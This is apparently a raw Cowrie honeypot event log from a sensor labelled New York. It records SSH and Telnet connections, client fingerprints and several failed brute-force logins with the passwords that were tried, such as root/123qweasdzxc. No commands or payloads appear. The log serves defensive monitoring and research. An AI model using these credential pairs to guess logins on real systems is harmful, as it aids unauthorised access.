{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:36.736188Z","src_ip":"223.17.5.126","session":"db85149dceac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20","message":"login attempt [user/20] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:37.616106Z","src_ip":"223.17.5.126","session":"db85149dceac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:38.830827Z","src_ip":"223.17.5.126","session":"db85149dceac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":44408,"dst_ip":"10.17.0.5","dst_port":22,"session":"97074fd180b4","protocol":"ssh","message":"New connection: 114.35.59.237:44408 (10.17.0.5:22) [session: 97074fd180b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:44.897434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:44.902189Z","src_ip":"114.35.59.237","session":"97074fd180b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:45.121285Z","src_ip":"114.35.59.237","session":"97074fd180b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39686,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44c49bb5ec2","protocol":"telnet","message":"New connection: 104.245.105.2:39686 (10.17.0.5:23) [session: a44c49bb5ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:45.713858Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2022","message":"login attempt [ubuntu/2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:46.034230Z","src_ip":"114.35.59.237","session":"97074fd180b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:47.253515Z","src_ip":"114.35.59.237","session":"97074fd180b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdafd409216","protocol":"telnet","message":"New connection: 104.245.105.2:37000 (10.17.0.5:23) [session: 5fdafd409216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:58.811258Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":38480,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe290136d66d","protocol":"ssh","message":"New connection: 124.18.182.99:38480 (10.17.0.5:22) [session: fe290136d66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:07.944660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:07.948676Z","src_ip":"124.18.182.99","session":"fe290136d66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:08.121211Z","src_ip":"124.18.182.99","session":"fe290136d66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"userftp@123","message":"login attempt [userftp/userftp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:08.843793Z","src_ip":"124.18.182.99","session":"fe290136d66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:10.020865Z","src_ip":"124.18.182.99","session":"fe290136d66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.54.122","src_port":53718,"dst_ip":"159.203.135.109","dst_port":23,"session":"94209532a136","protocol":"telnet","message":"New connection: 72.167.54.122:53718 (159.203.135.109:23) [session: 94209532a136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:14.793025Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44738,"dst_ip":"159.203.135.109","dst_port":23,"session":"655604a5bb35","protocol":"telnet","message":"New connection: 192.119.108.58:44738 (159.203.135.109:23) [session: 655604a5bb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:23.679241Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58636,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42a5b563dc0","protocol":"telnet","message":"New connection: 104.245.105.2:58636 (10.17.0.5:23) [session: b42a5b563dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:25.722659Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46954,"dst_ip":"159.203.135.109","dst_port":23,"session":"e42f279ecd47","protocol":"telnet","message":"New connection: 192.119.108.58:46954 (159.203.135.109:23) [session: e42f279ecd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:26.335513Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46984,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae074727f1c","protocol":"telnet","message":"New connection: 192.119.108.58:46984 (159.203.135.109:23) [session: bae074727f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:26.375560Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45936,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3d3f73783ec","protocol":"telnet","message":"New connection: 192.119.108.58:45936 (159.203.135.109:23) [session: a3d3f73783ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:26.759729Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47528,"dst_ip":"159.203.135.109","dst_port":23,"session":"224551fe057c","protocol":"telnet","message":"New connection: 192.119.108.58:47528 (159.203.135.109:23) [session: 224551fe057c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:27.593331Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47760,"dst_ip":"159.203.135.109","dst_port":23,"session":"1abc3ea7b51e","protocol":"telnet","message":"New connection: 192.119.108.58:47760 (159.203.135.109:23) [session: 1abc3ea7b51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:28.169830Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47526,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1541783e098","protocol":"telnet","message":"New connection: 192.119.108.58:47526 (159.203.135.109:23) [session: d1541783e098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:28.573473Z"}
{"eventid":"cowrie.session.closed","duration":32.03349447250366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:30.844668Z","src_ip":"104.245.105.2","session":"5fdafd409216","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.10161232948303,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:31.815346Z","src_ip":"104.245.105.2","session":"a44c49bb5ec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48366,"dst_ip":"159.203.135.109","dst_port":23,"session":"675326e83f68","protocol":"telnet","message":"New connection: 192.119.108.58:48366 (159.203.135.109:23) [session: 675326e83f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:32.284330Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":55638,"dst_ip":"159.203.135.109","dst_port":22,"session":"8296abbf7abe","protocol":"ssh","message":"New connection: 223.17.5.126:55638 (159.203.135.109:22) [session: 8296abbf7abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:33.773128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:33.779374Z","src_ip":"223.17.5.126","session":"8296abbf7abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50866,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b989cb05c6f","protocol":"telnet","message":"New connection: 192.119.108.58:50866 (159.203.135.109:23) [session: 7b989cb05c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:33.824414Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:33.997967Z","src_ip":"223.17.5.126","session":"8296abbf7abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51396,"dst_ip":"159.203.135.109","dst_port":23,"session":"40bf10efe0b7","protocol":"telnet","message":"New connection: 192.119.108.58:51396 (159.203.135.109:23) [session: 40bf10efe0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:34.826375Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123@","message":"login attempt [root/qaz123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:34.903698Z","src_ip":"223.17.5.126","session":"8296abbf7abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:36.124471Z","src_ip":"223.17.5.126","session":"8296abbf7abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52032,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8f32d72a7de","protocol":"telnet","message":"New connection: 192.119.108.58:52032 (159.203.135.109:23) [session: a8f32d72a7de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:37.077198Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":58394,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa41f6716dd1","protocol":"ssh","message":"New connection: 193.24.211.95:58394 (159.203.135.109:22) [session: aa41f6716dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:44.048069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:44.090555Z","src_ip":"193.24.211.95","session":"aa41f6716dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:44.158950Z","src_ip":"193.24.211.95","session":"aa41f6716dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasdzxc","message":"login attempt [root/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:44.581647Z","src_ip":"193.24.211.95","session":"aa41f6716dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.312601327896118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:45.105416Z","src_ip":"72.167.54.122","session":"94209532a136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:45.692997Z","src_ip":"193.24.211.95","session":"aa41f6716dd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58186,"dst_ip":"159.203.135.109","dst_port":23,"session":"d104c7c5cb48","protocol":"telnet","message":"New connection: 192.119.108.58:58186 (159.203.135.109:23) [session: d104c7c5cb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:48.616502Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":33034,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b128f7d4bd6","protocol":"ssh","message":"New connection: 114.35.59.237:33034 (10.17.0.5:22) [session: 0b128f7d4bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:49.266182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:49.270938Z","src_ip":"114.35.59.237","session":"0b128f7d4bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:49.489793Z","src_ip":"114.35.59.237","session":"0b128f7d4bd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#123!@#","message":"login attempt [ubuntu/!@#123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:50.390735Z","src_ip":"114.35.59.237","session":"0b128f7d4bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:51.610379Z","src_ip":"114.35.59.237","session":"0b128f7d4bd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.475656270980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:54.154752Z","src_ip":"192.119.108.58","session":"655604a5bb35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33008,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdcc147b0b37","protocol":"telnet","message":"New connection: 192.119.108.58:33008 (159.203.135.109:23) [session: fdcc147b0b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:56.776604Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33328,"dst_ip":"159.203.135.109","dst_port":23,"session":"628ed3a8cf88","protocol":"telnet","message":"New connection: 192.119.108.58:33328 (159.203.135.109:23) [session: 628ed3a8cf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:56.798386Z"}
